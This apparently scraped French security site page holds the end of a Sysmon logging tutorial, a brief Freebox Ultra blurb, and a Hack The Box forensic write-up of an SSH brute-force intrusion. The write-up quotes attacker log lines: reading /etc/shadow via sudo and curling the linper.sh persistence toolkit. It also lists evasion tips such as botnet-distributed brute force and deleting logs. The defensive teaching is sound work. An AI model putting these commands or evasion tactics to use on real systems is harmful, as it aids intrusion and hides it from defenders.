Bref, utiliser cette configuration apporte une réelle plus-value par rapport à celle par défaut et un gain de temps qui évite d'avoir à concevoir sa propre configuration XML, avec les difficultés que le format et la complexité des uses-case apportent. Avant de l'appliquer, je vous recommande tout de même de finir la lecture de cet article, puis de lire en détail le contenu de la configuration XML, afin que vous sachiez exactement ce qui sera journalisé et ce qui sera exclu de la journalisation.
B. Application d'une nouvelle configuration Sysmon
Il nous suffit donc de télécharger cette configuration XML puis de l'appliquer à Sysmon, nous pouvons utiliser l'option "-c" :
.\Sysmon64.exe -c .\sysmonconfig-export.xml
Voici la sortie attendue :
Ajout d'une nouvelle configuration à "Sysmon".
Pour vérifier que notre configuration est en place, nous pouvons utiliser l'option "-c" de "Sysmon" :
Affichage de la configuration SwiftOnSecurity importée dans Sysmon.
Les éléments de configuration affichés sont à présent très différents et bien plus verbeux que la configuration par défaut de Sysmon.
Nous pouvons à tout moment revenir à la configuration par défaut avec l'option "-c --".
C. Suppression du fichier de configuration
Maintenant que nous avons appliqué notre configuration à Sysmon, il est très important de ne pas laisser le fichier de configuration persister sur le système sous la forme d'un fichier XML. Si l'attaquant accède à ce fichier, il aura la possibilité de comprendre en détail les règles de détection en place, incluant ses potentielles exclusions et exceptions. Ainsi, il pourra construire une attaque qui exploite ou contourne les règles configurées.
En cela, il est mieux de laisser l'attaquant dans le noir et de supprimer cette configuration du système. Attention à ne pas non plus la laisser accessible sur un partage réseau trop ouvert auquel l'attaquant pourrait avoir accès.
Même si le fichier de configuration initial a été supprimé, Sysmon aura toujours cette configuration à disposition. Lors de l'import d'une configuration avec l'option "-c", Sysmon transforme cette configuration XML en blob de données et le stocke dans une clé de registre :
Stockage de la configuration actuelle de Sysmon dans une clé de registre.
Ce blob de donnée n'est pas facile à parser et l'attaquant aura du mal à récupérer en clair les règles et exclusions de la configuration à partir de celui-ci.
VI. Exemple de journaux Sysmon
Comme nous l'avons vu, les journaux d'évènements Sysmon sont stockés dans "Journaux des applications et des services" > "Microsoft" > "Windows" > "Sysmon". Si je réitère mon activité malveillante initiale (celle qui n'avait pas été ou peu journalisée par les logs par défaut de Windows) : voici ce que je peux voir dans les logs Sysmon (cliquez sur l'image pour zoomer) :
Journaux d'évènement Sysmon relatifs aux actions malveillantes effectuées sur le système.
Nous voyons clairement dans les logs : un event ID 1 - Process Create, un event ID 13 - Registry value set et and event ID 3 : Network Connecion detected. Ce qui correspond et retrace exactement les activités malveillantes réalisées sur le système. Dans la capture ci-dessus, nous avons les détails de l'exécution de "mimikatz64.exe", déjà exposé précédemment dans cet article. On peut noter la présence de nombreuses informations, dont le hash MD5 du binaire, qui ne changera pas en fonction du nom qui lui est donné (bien que des méthodes simples permettent de modifier ce hash pour qu'il ne colle plus aux signatures classiques).
Nous pouvons également regarder le contenu de l'évènement relatif à l'ajout d'une valeur dans une clé de registre :
Evènement Sysmon 13, relatif au paramétrage d'une valeur dans une clé de registre (mise en place d'une backdoor par l'attaquant).
À nouveau, nous avons un grand nombre d'informations à propos de l'évènement, le processus parent, le nom de la clé de registre modifiée, sa valeur, on y retrouve clairement l'exécutable malveillant, etc. Vous remarquerez également la présence du "T1060" dans l'attribut "RuleName", il s'agit de l'identifiant du TTP relatif à cette action malveillante. Cet ajout provient de la configuration SwitfOnSecurity et vise à aider l'analyste à comprendre la nature et l'impact d'un évènement de sécurité.
Pour mieux comprendre l'intérêt et les bénéfices de cette information, regardons par exemple le contenu du TTP T1060 sur le site du framework MITRE ATT&CK (le framework ayant été mis à jour récemment, l'action au TTP 1060 rédige vers son nouvel identifiant : T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder ):
Extrait des détails du TTP1547.001 (anciennement T1060).
Il ne s'agit là que d'un extrait, mais l'on comprend ici bien plus en détail les enjeux de cet évènement : l'attaquant a cherché à établir une persistance sur le système en modifiant une clé de registre contenant des binaires exécutés au démarrage.
Enfin, voici l'évènement relatif au téléchargement d'un binaire malveillant depuis un serveur appartenant à l'attaquant, action qui n'était pas du tout journalisée par les logs par défaut de Windows :
Evènement Sysmon 3 relatif à une connexion réseau sortante.
Là aussi, nous obtenons des informations claires et précises sur l'évènement, notamment l'IP, nom et port de destination, qui sont des informations importantes en termes de détection (grâce aux IOC) et d'investigation.
Pour mieux comprendre chaque évènement produit par Sysmon, nous pouvons utiliser la documentation Microsoft, qui référence précisément les eventID et leur définition : Sysmon - Events
VII. Conclusion
J'espère que cet article vous a aidé à mieux comprendre ce qu'est Sysmon, son utilisation standard ainsi que sa plus-value pour la sécurité d'un système Windows et plus globalement du système d'information. Nous n'avons pas fait un tour complet de l'outil, notamment en ce qui concerne les évènements plus techniques (CreateRemoteThread, RawAccessRead, Process Tampering, etc.), ni la construction complète d'un fichier de configuration avec ses exclusions, exceptions, etc. Mais, le contenu de l'article devrait être suffisant pour mettre en place et utiliser Sysmon au sein de votre système d'information.
Ce qu'il est important de retenir au-delà de Sysmon est l'importance d'avoir une journalisation la plus complète et précise possible concernant les évènements de sécurité, puis d'être capable de la centraliser (SIEM) et de surveiller activement et comprendre ces différents évènements. Dans cette démarche macro, Sysmon n'est finalement qu'un point de départ.
N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !
Stéphane Marty s'est attaqué au dernier bébé de Free : la Freebox Ultra. Xavier est allé lui-même expédier ce colis à Stéphane (c'est faux, mais il a mis un mot).
Démontage, analyse des composants, mesures de champs électromagnétiques, consommation. Stéphane Marty passe au crible la dernière box de l'opérateur. En conclusion : une très belle conception, le savoir faire de Free en matière de conception électronique n'est plus à démontrer.
Free a retenu la leçon de la freebox Delta. La Freebox Ultra est beaucoup moins complexe en terme de cartes et de fonctionnalités (plus de DECT, plus de domotique, etc).
En proposant un CPU dernier génération et un support du WiFi 7 dès sa publication en version finale, cette box est prévue pour durer. Et quand on voit aujourd'hui le nombre de Freebox Révolution encore en fonctionnement il n'y pas d'inquiétude à avoir non plus pour celle-ci (seul l'avenir le dira...).
Finalement cette Freebox Ultra est ultra optimisée. Si cette box rencontre un succès ce ne sera pas seulement pour son matériel, mais aussi grâce à l'offre de services que Free a réservé pour cette box :
En effet, dans un contexte d'augmentation permanent des abonnements aux plateformes de diffusion, nombreux sont ceux qui y voient déjà des économies. Au lieu de payer un abonnement à Netflix, Disney+, Prime Vidéo... ils payent un forfait à leur FAI. On se rapproche tout doucement du modèle américain.
On a un peu de mal à s'en souvenir mais lors de son lancement Netflix n'était proposé sur aucune box, et l'accueil des FAI était plutôt froid. Aujourd'hui la situation a bien changé et les opérateurs ont bien compris l'effet levier qu'ils permettent grâce à leur base d'abonnés, tout en prenant une marge "facile" au passage.
On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Brutus, de difficulté "débutant". Il s'agit d'un challenge très simple fait pour les débutants en cybersécurité qui vise à démystifier le forensic au travers un cas d'usage assez simple, mais tout de même réaliste.
Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et analystes en cybersécurité. Nous allons plus précisément étudier le cas d'une attaque par bruteforce sur un service SSH et quelques fichiers de logs classiques des systèmes d'exploitation Linux.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".
Technologies abordées
Linux, bruteforce, wtmp, auth.log, SSH
Outils utilisés
cat, grep, tail, uniq, framework MITRE ATT&CK
Retrouvez tous nos articles Hack The Box via ce lien :
Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :
Le scénario du challenge nous apprend qu'un serveur Linux Confluence a été la cible d'une attaque par brute force et que l'attaquant est parvenu à accéder au serveur puis à réaliser des actions sur celui-ci. Notre objectif va donc être d'identifier plus clairement les différentes phases de cette cyberattaque en étant guidé par les questions du challenge.
Si l'on s'intéresse à l'archive "Brutus.zip" téléchargée et décompressée, nous découvrons deux fichiers :
Comme l'indique l'extension ".log", il s'agit de logs, c'est-à-dire des journaux d'évènements.
Les journaux d'évènements, ou "logs", sont des fichiers dans lesquels sont inscrits des informations à propos des opérations menées sur un système, avec des informations techniques et un horodatage, comme : "12/03/2022 12:56 : L'utilisateur john s'est authentifié". Ils permettent d'assurer une traçabilité des évènements et actions dans le temps sur un système et sont utilisés pour du debug, mais aussi pour l'investigation à la suite d'une cyberattaque puisqu'ils permettent de retracer la vie du système dans le passé.
Les fichiers de logs sont en général organisés par périmètre (authentification, application web, etc.) et suivent une structure et un formatage précis.
Ces deux fichiers ont des noms que les habitués des systèmes d'exploitation Linux devraient reconnaitre :
Le fichier "/var/log/auth.log" est un fichier servant à stocker les évènements relatifs à l'authentification sur les systèmes d'exploitations Linux tels qu'une authentification échouée ou réussie, locale ou distante.
Le fichier "/var/log/wtmp" est également un fichier de log qui vise à garder une trace de toutes les connexions et déconnexions au système. Il utilise un format différent des fichiers ".log", qui sont des fichiers texte et doit être parcouru à l'aide d'une commande bien précise.
Si l'on regarde les premières lignes du fichier "auth.log", on peut notamment y voir des informations concernant les authentifications, tentatives d'authentification et déconnexions sur le système, exemple :
Mar 6 06:31:42 ip-172-31-35-28 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2
Mar 6 06:31:42 ip-172-31-35-28 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2
Mar 6 06:31:44 ip-172-31-35-28 sshd[2423]: Connection closed by authenticating user backup 65.2.161.68 port 34834 [preauth]
Mar 6 06:31:44 ip-172-31-35-28 sshd[2424]: Connection closed by authenticating user backup 65.2.161.68 port 34856 [preauth]
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Passons à présent aux différentes tâches de notre investigation qui nous permettrons d'en découvrir plus sur ces fichiers et quelles informations ils peuvent nous fournir dans le cadre de l'étude d'une cyberattaque.
III. Investigation numérique : le cas Brutus
A. Tâche n°1: Identifier l'adresse IP de l'attaquant
Énoncé - Task 1 : Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?
D'après le scénario proposé dans le cadre du challenge, le système ayant produit ces logs à subit une attaque par brute force, qui consiste à essayer un très grand nombre de mots de passe pour un même compte utilisateur jusqu'à trouver la bonne combinaison. Parmi les nombreuses informations journalisées dans le fichier "auth.log" lors d'une authentification figure l'adresse IP du client.
Afin d'extraire toutes les adresses IP du fichier "auth.log", nous pouvons utiliser la commande "grep" ainsi qu'une expression régulière qui va extraire toutes les chaines de caractères qui s'apparentent à une adresse IP.
Comme vous pouvez le voir, j'ai également utilisé la commande "uniq" avec l'option "-c" afin qu'elle me sorte le nombre d'occurrences de chaque adresse IP. L'adresse IP "65.2.161.68" sort clairement du lot avec 210 occurrences. Nous pouvons à nouveau utiliser la commande "grep" pour extraire toutes les lignes de log contenant cette adresse IP :
$ grep "65.2.161.68" auth.log
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Received disconnect from 65.2.161.68 port 46380:11: Bye Bye [preauth]
Mar 6 06:31:31 ip-172-31-35-28 sshd[2325]: Disconnected from invalid user admin 65.2.161.68 port 46380 [preauth]
Mar 6 06:31:31 ip-172-31-35-28 sshd[620]: drop connection #10 from [65.2.161.68]:46482 on [172.31.35.28]:22 past MaxStartups
Mar 6 06:31:31 ip-172-31-35-28 sshd[2327]: Invalid user admin from 65.2.161.68 port 46392
Mar 6 06:31:31 ip-172-31-35-28 sshd[2327]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2332]: Invalid user admin from 65.2.161.68 port 46444
Mar 6 06:31:31 ip-172-31-35-28 sshd[2331]: Invalid user admin from 65.2.161.68 port 46436
Mar 6 06:31:31 ip-172-31-35-28 sshd[2332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68
Mar 6 06:31:31 ip-172-31-35-28 sshd[2330]: Invalid user admin from 65.2.161.68 port 46422
Cela nous donne effectivement des exemples intéressants, comme "Invalid user admin from 65.2.161.68" qui indique qu'une authentification a été tentée depuis cette adresse IP pour un utilisateur "admin", qui de toute façon n'existe pas sur le système.
Lorsqu'un attaquant opère une attaque par brute force sans connaitre de login utilisateur valide sur sa cible, il doit réaliser beaucoup plus de tests que s'il a la certitude de l'existence du compte utilisateur ciblé. Ainsi, son attaque à moins de chance d'aboutir et il a plus de chance de se faire détecter si de tels évènements sont surveillés.
Maintenant que nous avons identifié l'adresse IP de l'attaquant, nous allons pouvoir tenter de mieux comprendre les opérations qu'il a menées.
B. Tâche n°2 : Authentification réussie
Énoncé - Task 2 : The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?
La tâche suivante nous demande d'identifier quel compte a effectivement été compromis sur le système grâce à cette attaque. En regardant attentivement les journaux relatifs à l'adresse IP identifiée, nous pouvons voir que certains d'entre eux indiquent "Accepted password", c'est notamment le cas des toutes dernières lignes du fichier "auth.log" :
$ grep "65.2.161.68" auth.log | tail -n 4
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Acceptedpassword for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Received disconnect from 65.2.161.68 port 53184:11: disconnected by user
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
Ainsi, en faisant un filtre sur le mot "Accepted" grâce à la commande "grep", nous pouvons obtenir toutes les authentifications réussies :
$ grep "Accepted" auth.log
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh
La première authentification réussie par l'adresse IP "65.2.161.68" concerne le compte utilisateur "root". C'est donc le mot de passe de ce compte qui a été découvert via l'attaque par brute force.
C. Tâche n°3 : Date de connexion SSH
Énoncé - Task 3 : Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?
Cette étape nous demande la date exacte de la première connexion réussie par l'attaquant. Nous pouvons cette fois-ci nous intéresser au fichier "wtmp" qui référence les ouvertures et fermetures de session sur un système. La première chose à savoir et qu'il ne s'agit pas d'un simple fichier texte comme "auth.log". Nous devons utiliser un outil capable de lire et correctement formater son contenu pour qu'il nous soit intelligible : la commande "last".
$ last -f wtmp -F
cyberjun pts/1 65.2.161.68 Wed Mar 6 07:37:35 2024 gone - no logout
root pts/1 65.2.161.68 Wed Mar 6 07:32:45 2024 - Wed Mar 6 07:37:24 2024 (00:04)
root pts/0 203.101.190.9 Wed Mar 6 07:19:55 2024 gone - no logout
reboot system boot 6.2.0-1018-aws Wed Mar 6 07:17:15 2024 still running
root pts/1 203.101.190.9 Sun Feb 11 11:54:27 2024 - Sun Feb 11 12:08:04 2024 (00:13)
root pts/1 203.101.190.9 Sun Feb 11 11:41:11 2024 - Sun Feb 11 11:41:46 2024 (00:00)
root pts/0 203.101.190.9 Sun Feb 11 11:33:49 2024 - Sun Feb 11 12:08:04 2024 (00:34)
root pts/0 203.101.190.9 Thu Jan 25 12:15:40 2024 - Thu Jan 25 13:34:34 2024 (01:18)
ubuntu pts/0 203.101.190.9 Thu Jan 25 12:13:58 2024 - Thu Jan 25 12:15:12 2024 (00:01)
reboot system boot 6.2.0-1017-aws Thu Jan 25 12:12:17 2024 - Sun Feb 11 12:09:18 2024 (16+23:57)
Ici, l'option "-F" nous permet d'obtenir la date complète de chaque session journalisée. Nous pouvons voir, si l'on regarde les sessions ouvertes par l'adresse IP suspecte identifiée, qu'une première session a été ouverte à 07:32:45 le 06/03/2024.
Un piège de l'exercice était ici de faire le lien entre ces horaires et ceux du fichier "auth.log" et de constater une différence d'une heure entre ces deux formats (pour une raison obscure). La bonne date est donc "2024-03-04 06:32:45".
D. Tâche n°4 : Identification de session SSH
Énoncé - Task 4 : SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?
Il nous faut à présent identifier le numéro de session SSH associé à cette connexion.
Dans ce contexte, le numéro de session SSH permet de suivre les évènements relatifs à une session dans les journaux dans le cas ou plusieurs sessions apparaissent dans une même plage horaire.
Nous pouvons pour cela utiliser l'option "-AX" de la commande "grep" qui va nous afficher les X lignes après un match par rapport à la chaine de caractères recherchée. Cela nous permet de retrouver la connexion "root" de l'adresse IP "65.2.161.68".
$ grep "Accepted" auth.log -A 5
--
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
--
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
--
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:33:01 ip-172-31-35-28 CRON[2562]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:33:01 ip-172-31-35-28 CRON[2561]: pam_unix(cron:session): session closed for user confluence
Quelques lignes plus loin, nous avons l'information recherchée "New session 34", mais si l'on regarde la ligne suivante et l'horodatage de l'ensemble, on remarque que l'attaquant s'est déconnecté la même seconde, donc immédiatement. Il s'agit donc là de la connexion réussie réalisée par son outil de brute force, et non d'une connexion "manuelle" qui aurait eu un temps d'existence plus long. Là est aussi l'intérêt d'étudier également le fichier "wtmp", qui présente les mêmes informations de manière plus claire. Dans le fichier "auth.log", nous voyons bien que les informations relatives à une seule connexion sont sur plusieurs lignes et séparées par des informations concernant d'autres sessions.
Le second match nous indique une seconde session, qui elle n'est pas immédiatement déconnectée : "New session 37 of user root".
E. Tâche n°5 : création d'un accès persistant
Énoncé - Task 5 : The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
D'après l'énoncé, l'attaquant aurait créé un accès dérobé sur le système compromis. À nouveau, l'étude du contenu du fichier "auth.log" nous renseigne sur un évènement de création d'un utilisateur, peu après la connexion de l'attaquant avant le compte "root" :
$ grep "65.2.161.68" auth.log | tail
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar 6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
Mar 6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
Il semble donc que l'attaquant se soit créé un compte utilisateur pour pouvoir revenir plus tard sur le système, lui assurant ainsi un accès en cas de changement du mot de passe du compte "root". Le compte ici créé parait donc être "cyberjunkie", l'attaquant est venu s'y connecter juste après l'avoir créé.
$ grep "65.2.161.68" "cyberjunkie" auth.log
[...]
Mar 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
F. Tâche n°6 : TTP du MITRE ATT&CK
Énoncé - Task 6 : What is the MITRE ATT&CK sub-technique ID used for persistence?
Il nous est ici demandé de catégoriser cette opération de l'attaquant par rapport au framework du MITRE ATT&CK. La recherche peut être un peu fastidieuse si vous n'êtes pas du tout familier du framework. On peut déjà orienter nos recherches sur la catégorie "Persistence" qui concerne les opérations menées dans le but de maintenir un accès dans le temps sur un système compromis :
Présentation de la tactic "Persistence" sur framework MITRE ATT&CK.
Après avoir parcouru les différents TTP de cette "Tactic", il semble ici que ce soit le TTP 1136.001 qui corresponde le mieux à notre situation :
TTP 1136.001 relatif à l'opération de création d'un compte local à des fins de persistance.
G. Tâche n°7 : Temps de session SSH
Énoncé - Task 7 : How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)
Cet énoncé nous demande de trouver la durée de la session utilisateur en tant que "root". Il faut pour cela se baser sur l'horodatage des journaux d'évènements relatifs à la connexion et déconnexion de cette session :
$ grep -i "session 37" auth.log
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
Mar 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.
Le temps total de la session est de 279 secondes.
H. Tâche n°8 : Commande sudo
Énoncé - Task 8 : The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
D'après l'énoncé, l'attaquant a utilisé son compte "cyberjunkie" afin d'élever ses privilèges en tant que "root" sur le système en utilisant la commande "sudo".
La commande "sudo" sur les systèmes Linux permet aux utilisateurs autorisés d'exécuter des commandes avec les privilèges d'autres utilisateurs, généralement "root". Elle permet d'attribuer des sortes de dérogation d'élévation de privilège sur des commandes précises. Certaines dérogations, si elles sont mal définies ou portent sur des commandes "vulnérables" peuvent être utilisées par l'attaquant pour outrepasser le seul périmètre de la commande et obtenir une session en tant que root.
Nous pouvons utiliser la commande "grep" sur le terme "sudo" et repérer rapidement la commande en question :
$ grep "sudo" auth.log
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar 6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for use
L'attaquant a donc utilisé la commande "sudo" afin de télécharger sur internet un script nommé "linper.sh", que nous pouvons d'ailleurs consulter de nous même : https://github.com/montysecurity/linper :
Il s'agit d'une boîte à outil de persistance ("persistence toolkit") pour les OS Linux, il vise à proposer plusieurs méthodes de persistance pour s'implanter de façon durable sur un système Linux compromis.
IV. Résumé de l'attaque
Au cours de cette investigation, nous avons pu étudier la cyberattaque menée sur notre serveur par un attaquant. Les journaux d'évènements nous ont permis de déterminer qu'une attaque par brute force a été menée sur le service SSH, sans connaissance préalable de comptes utilisateurs existants (mis à part un compte par défaut : "root"). L'opération a permis à l'attaquant de découvrir le mot de passe du compte "root". Compte qui a été utilisé pour créer un compte de persistance ("cyberjunkie") par l'attaquant et ajouter à ce compte un moyen d'exécuter des commandes en tant que root par l'intermédiaire d'une dérogation "sudo".
Cette dérogation a ensuite été utilisée par l'attaquant afin de télécharger le script bash "linper.sh", hébergé sur Github. Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :
Téléchargement d'un script "linper.sh" depuis Internet sur la cible via "sudo" et "curl".
Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :
V. Notions abordées
Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :-).
A. Côté analyste
Nous avons vu dans cet exercice qu'il est important de se familiariser avec les logs classiques du système d'exploitation que l'on souhaite analyser. Connaitre le rôle et le format des journaux du fichier "auth.log" et les subtilités du fichier "wtmp" (commande "last") nous a permis de rapidement trouver les informations demandées.
Également, disposer d'un jeu de commandes préconçu pour rechercher des informations précises (expression régulière pour les adresses IP) ou faire des statistiques rapidement serait un plus, notamment en utilisant des outils qui permettent de rechercher et utiliser rapidement ces commandes comme "arsenal" :
Côté défense, plusieurs bonnes pratiques devraient être mises en place pour se protéger des attaques observées dans cette investigation :
Il est dans un premier temps recommandé de durcir la configuration SSH avec d'éviter le brute force SSH et d'interdire les connexions SSH en tant que root.
La mise en place de solutions "tierces" peut aussi être envisagée afin de se protéger des attaques par brute force, cela peut passer par le durcissement de la configuration "pam.d", la mise en place d'un service Fail2Ban ou Crowdsec.
Également, il peut être recommandé de durcir la politique de mot de passe de l'utilisateur root, et par extension de l'ensemble des utilisateurs du système concerné. Peu importe la wordlist utilisée, le mot de passe d'un utilisateur privilégié ne devrait jamais s'y trouver, cela indique l'utilisation d'un mot de passe probablement faible.
Il peut aussi être recommandé de mettre en place des restrictions, voire une interdiction totale d'accès à Internet de la part des serveurs si cela ne répond pas à un besoin justifié (l'application de mises à jour n'en étant pas une, il est préférable de passer par un serveur APT interne et maitrisé). Cela dans le but de bloquer ou ralentir la démarche de l'attaquant lors des opérations d'exfiltration d'informations ou d'import d'outils offensifs.
C. Côté attaquant
L'attaquant aurait, lui aussi, pu améliorer son attaque de plusieurs manières, notamment pour complexifier la tâche de l'analyste ou gagner en discrétion :
L'attaquant aurait pu étaler son attaque par brute force dans le temps afin de complexifier la tâche d'investigation de l'analyste, qui aurait dû trier des connexions légitimes et les connexions malveillantes. En fonction de la configuration de la journalisation, cela aurait également pu étaler les évènements dans plusieurs fichiers grâce à la rotation des journaux, voire entrainer une suppression au bout d'un certain volume ou ancienneté.
Un attaquant avec plus de moyens aurait aussi pu distribuer son attaque par brute force depuis plusieurs adresses IP afin de gagner en discrétion. Il aurait lors été plus complexe de faire une corrélation entre différentes tentatives d'authentification. Cela se fait généralement à l'aide de ressources Cloud hébergées dans plusieurs pays ou de botnet loués pour l'occasion :
Le téléchargement d'une ressource depuis un dépôt GitHub facilite la tâche de l'analyste qui peut rapidement identifier l'outil, son objectif, voir découvrir des éléments de signature lui permettant de le retrouver et le supprimer sur le système. Sans vraiment modifier le script lui-même, l'attaquant aurait pu passer par un serveur web temporaire pour que l'analyste ne puisse pas facilement identifier l'outilet une modification du nom du script afin de gagner du temps sur l'investigation et en discrétion.
L'analyse ici menée a été réalisée à 100% grâce aux journaux d'évènements du système lui-même, nous avons notamment pu découvrir les opérations de post-exploitation de l'attaquant (opérations menées après compromissions du système). Une fois les droits root obtenus, l'attaquant aurait pu stopper la production ou l'exfiltration des journaux d'évènements afin de gagner en discrétion au moment de l'attaque et de rendre quasi impossible la démarche d'investigation par la suite. Une simple suppression des journaux locaux aurait été possible grâce aux droits root par exemple. L'effacement des traces et une technique assez classique de post-exploitation par les attaquants réels et leur permet de couvrir toutes les pistes potentielles laissées lors de l'intrusion.
J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis !
Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy
Connexion
